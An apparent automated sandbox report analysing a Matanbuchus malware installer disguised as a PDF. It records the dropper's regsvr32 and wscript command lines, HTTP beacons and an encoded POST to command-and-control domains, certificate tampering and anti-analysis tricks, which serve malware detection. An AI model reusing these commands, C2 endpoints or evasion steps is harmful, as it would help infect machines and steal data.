Edit tour

Windows Analysis Report
SCAN-068589.pdf.msi

Overview

General Information

Sample Name:	SCAN-068589.pdf.msi
Analysis ID:	647225
MD5:	c0ee31bc6536ae8cb7e5d8809676920a
SHA1:	b21482d1072e5cb65488f2c181f38c75d8c80dcd
SHA256:	2d8740ea16e9457a358ebea73ad377ff75f7aa9bdf748f0d801f5a261977eda4
Tags:	msi
Infos:

Detection

Matanbuchus

Score:	64
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected Matanbuchus

System process connects to network (likely due to code injection or exploit)

Uses known network protocols on non-standard ports

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Queries the volume information (name, serial number etc) of a device

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Deletes files inside the Windows folder

May sleep (evasive loops) to hinder dynamic analysis

Creates files inside the system directory

Internet Provider seen in connection with other malware

Detected potential crypto function

Stores large binary data to the registry

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to check if a connection to the internet is available

Drops files with a non-matching file extension (content does not match file extension)

Adds / modifies Windows certificates

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Detected TCP or UDP traffic on non-standard ports

Registers a DLL

PE / OLE file has an invalid certificate

Launches processes in debugging mode, may be used to hinder debugging

Checks for available system drives (often done to infect USB drives)

Dropped file seen in connection with other malware

Found WSH timer for Javascript or VBS script (likely evasive script)

Classification

Process Tree

System is w10x64

msiexec.exe (PID: 6420 cmdline: "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\SCAN-068589.pdf.msi" MD5: 4767B71A318E201188A0D0A420C8B608)

msiexec.exe (PID: 6480 cmdline: C:\Windows\system32\msiexec.exe /V MD5: 4767B71A318E201188A0D0A420C8B608)

wscript.exe (PID: 6728 cmdline: wscript.exe C:\Users\user\AppData\Local\AdobeFontPack\notify.vbs MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

regsvr32.exe (PID: 6736 cmdline: regsvr32.exe -n -i:"Install" C:\Users\user\AppData\Local\AdobeFontPack\main.dll MD5: D78B75FC68247E8A63ACBA846182740E)

regsvr32.exe (PID: 6764 cmdline: -n -i:"Install" C:\Users\user\AppData\Local\AdobeFontPack\main.dll MD5: 426E7499F6A7346F0410DEAD0805586B)

regsvr32.exe (PID: 7032 cmdline: C:\Windows\system32\regsvr32.exe -n -i:"Update?heck" "C:\Users\user\AppData\Local\x86\5507.nls" MD5: D78B75FC68247E8A63ACBA846182740E)

regsvr32.exe (PID: 4088 cmdline: -n -i:"Update?heck" "C:\Users\user\AppData\Local\x86\5507.nls" MD5: 426E7499F6A7346F0410DEAD0805586B)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\AdobeFontPack\main.dll	JoeSecurity_Matanbuchus	Yara detected Matanbuchus	Joe Security
C:\Users\user\AppData\Local\x86\5507.nls	JoeSecurity_Matanbuchus	Yara detected Matanbuchus	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
23.2.regsvr32.exe.6da90000.0.unpack	JoeSecurity_Matanbuchus	Yara detected Matanbuchus	Joe Security

HTTP traffic detected: POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16)Host: collectiontelemetrysystem.comContent-Length: 587Content-Type: application/x-www-form-urlencodedAccept-Language: en-RUSData Raw: 65 76 3d 65 79 49 7a 51 30 56 72 49 6a 6f 69 4d 48 68 78 51 55 5a 4d 64 6b 52 79 52 56 4e 59 64 33 4e 50 64 7a 51 77 52 33 42 6e 62 45 55 31 51 30 51 79 4f 58 70 4f 56 30 64 69 54 30 31 4d 54 31 4e 52 4d 58 64 4c 53 6e 42 6c 59 79 74 4d 53 58 67 77 50 53 49 73 49 6a 4e 6d 5a 54 45 78 49 6a 6f 69 62 32 74 59 54 6c 46 42 50 54 30 69 4c 43 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 45 55 7a 4a 34 49 6a 6f 69 63 6b 56 45 56 55 30 33 4e 6d 59 69 4c 43 4a 46 54 47 6f 69 4f 69 49 7a 61 6c 63 32 55 57 56 4e 50 53 49 73 49 6b 56 76 4e 69 49 36 49 6a 4a 34 54 30 64 48 54 45 74 49 49 69 77 69 52 6e 52 76 49 6a 6f 69 63 6d 63 39 50 53 49 73 49 6b 78 76 63 79 49 36 57 79 49 76 51 58 6c 46 52 6e 41 79 51 6e 52 70 4e 33 64 34 59 31 64 7a 4e 6c 59 79 54 57 31 33 53 6b 46 56 56 54 4e 56 63 6d 39 50 52 45 6c 4a 56 6e 70 6b 51 54 6c 48 64 6e 56 4e 54 6b 6c 6e 50 54 30 69 58 53 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 52 4e 6c 67 32 49 6a 6f 69 4d 32 70 48 62 6b 39 76 54 32 74 79 61 30 4e 42 63 30 70 78 56 33 4e 57 4e 30 30 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 5a 6a 46 6b 59 53 49 36 49 6e 68 70 61 58 64 4f 53 56 4e 6e 63 57 6c 4d 62 6e 4a 4b 64 6e 70 7a 52 44 4e 4c 4b 30 56 72 50 53 49 73 49 6e 52 58 49 6a 6f 69 62 32 73 7a 54 6c 4a 50 54 46 6f 69 4c 43 4a 33 55 44 59 69 4f 69 49 33 52 56 68 68 55 6d 5a 75 59 69 49 73 49 6e 70 72 51 7a 63 69 4f 69 49 69 66 51 3d 3d Data Ascii: ev=eyIzQ0VrIjoiMHhxQUZMdkRyRVNYd3NPdzQwR3BnbEU1Q0QyOXpOV0diT01MT1NRMXdLSnBlYytMSXgwPSIsIjNmZTExIjoib2tYTlFBPT0iLCIzbTd4IjoiMnhDWkdMaz0iLCJEUzJ4IjoickVEVU03NmYiLCJFTGoiOiIzalc2UWVNPSIsIkVvNiI6IjJ4T0dHTEtIIiwiRnRvIjoicmc9PSIsIkxvcyI6WyIvQXlFRnAyQnRpN3d4Y1dzNlYyTW13SkFVVTNVcm9PRElJVnpkQTlHdnVNTklnPT0iXSwiTlNleURYIjoiMUNlUkNKT3oiLCJRNlg2IjoiM2pHbk9vT2tya0NBc0pxV3NWN00iLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9IiwiZjFkYSI6InhpaXdOSVNncWlMbnJKdnpzRDNLK0VrPSIsInRXIjoib2szTlJPTFoiLCJ3UDYiOiI3RVhhUmZuYiIsInprQzciOiIifQ==

Source: unknown

DNS traffic detected: queries for: telemetrysystemcollection.com

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 23_2_6DA98300 InternetCheckConnectionA,InternetOpenUrlA,InternetReadFile,LocalAlloc,LocalFree,InternetCloseHandle,InternetCloseHandle,

23_2_6DA98300

Source: global traffic	HTTP traffic detected: GET /m8YYdu/mCQ2U9/auth.aspx HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16)Host: telemetrysystemcollection.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /m8YYdu/mCQ2U9/home.aspx HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16)Host: telemetrysystemcollection.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /m8YYdu/mCQ2U9/home.aspx HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16)Host: telemetrysystemcollection.comCache-Control: no-cache

Source: unknown	HTTPS traffic detected: 213.226.114.15:443 -> 192.168.2.3:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 213.226.114.15:443 -> 192.168.2.3:49900 version: TLS 1.2

Source: C:\Windows\System32\msiexec.exe

File deleted: C:\Windows\Installer\6ecb59.msi

Jump to behavior

Source: C:\Windows\System32\msiexec.exe

File created: C:\Windows\Installer\6ecb57.msi

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DAD85F0	23_2_6DAD85F0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DADFDC5	23_2_6DADFDC5
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DAE91DC	23_2_6DAE91DC
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DAE90BC	23_2_6DAE90BC
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DAD8C50	23_2_6DAD8C50
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DADE2BD	23_2_6DADE2BD
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DAE62FA	23_2_6DAE62FA
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DA9AAC0	23_2_6DA9AAC0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 23_2_6DAE5E60	23_2_6DAE5E60

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: String function: 6DADADD0 appears 32 times

Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior

Source: SCAN-068589.pdf.msi

Static PE information: invalid certificate

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\AdobeFontPack\main.dll 60F030597C75F9DF0F7A494CB5432B600D41775CFE5CF13006C1448FA3A68D8D
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\x86\5507.nls F8CC2CF36E193774F13C9C5F23AB777496DCD7CA588F4F73B45A7A5FFA96145E

Source: C:\Windows\System32\msiexec.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\SCAN-068589.pdf.msi"
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\System32\wscript.exe wscript.exe C:\Users\user\AppData\Local\AdobeFontPack\notify.vbs
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe -n -i:"Install" C:\Users\user\AppData\Local\AdobeFontPack\main.dll
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -n -i:"Install" C:\Users\user\AppData\Local\AdobeFontPack\main.dll
Source: unknown	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe -n -i:"Update?heck" "C:\Users\user\AppData\Local\x86\5507.nls"
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -n -i:"Update?heck" "C:\Users\user\AppData\Local\x86\5507.nls"
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\System32\wscript.exe wscript.exe C:\Users\user\AppData\Local\AdobeFontPack\notify.vbs	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe -n -i:"Install" C:\Users\user\AppData\Local\AdobeFontPack\main.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -n -i:"Install" C:\Users\user\AppData\Local\AdobeFontPack\main.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -n -i:"Update?heck" "C:\Users\user\AppData\Local\x86\5507.nls"	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\msiexec.exe

File created: C:\Users\user\AppData\Local\AdobeFontPack

Jump to behavior

Source: C:\Windows\System32\msiexec.exe

File created: C:\Windows\TEMP\~DF5D62286770078C98.TMP

Jump to behavior

Source: classification engine

Classification label: mal64.troj.evad.winMSI@11/22@70/2

Source: C:\Windows\System32\msiexec.exe

Process created: C:\Windows\System32\wscript.exe wscript.exe C:\Users\user\AppData\Local\AdobeFontPack\notify.vbs

Source: C:\Windows\SysWOW64\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Data Obfuscation

Yara detected Matanbuchus

Source: Yara match	File source: 23.2.regsvr32.exe.6da90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\AdobeFontPack\main.dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\x86\5507.nls, type: DROPPED

Source: C:\Windows\System32\msiexec.exe

Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe -n -i:"Install" C:\Users\user\AppData\Local\AdobeFontPack\main.dll

Source: C:\Windows\SysWOW64\regsvr32.exe

File created: C:\Users\user\AppData\Local\x86\5507.nls

Jump to dropped file

Source: C:\Windows\SysWOW64\regsvr32.exe	File created: C:\Users\user\AppData\Local\x86\5507.nls			Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\AdobeFontPack\main.dll			Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 48195
Source: unknown	Network traffic detected: HTTP traffic on port 48195 -> 49917

Source: C:\Windows\System32\msiexec.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4 Blob

Jump to behavior

Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Windows\SysWOW64\regsvr32.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

graph_23-12598

Source: C:\Windows\SysWOW64\regsvr32.exe TID: 6768	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 6768	Thread sleep time: -50000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 6768	Thread sleep count: 66 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 6768	Thread sleep time: -5280000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 5080	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 5080	Thread sleep time: -45000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\msiexec.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 23_2_6DAE2F53 FindFirstFileExW,

23_2_6DAE2F53

Source: C:\Windows\SysWOW64\regsvr32.exe

Thread delayed: delay time: 80000

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe

API call chain: ExitProcess graph end node

graph_23-12604

Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
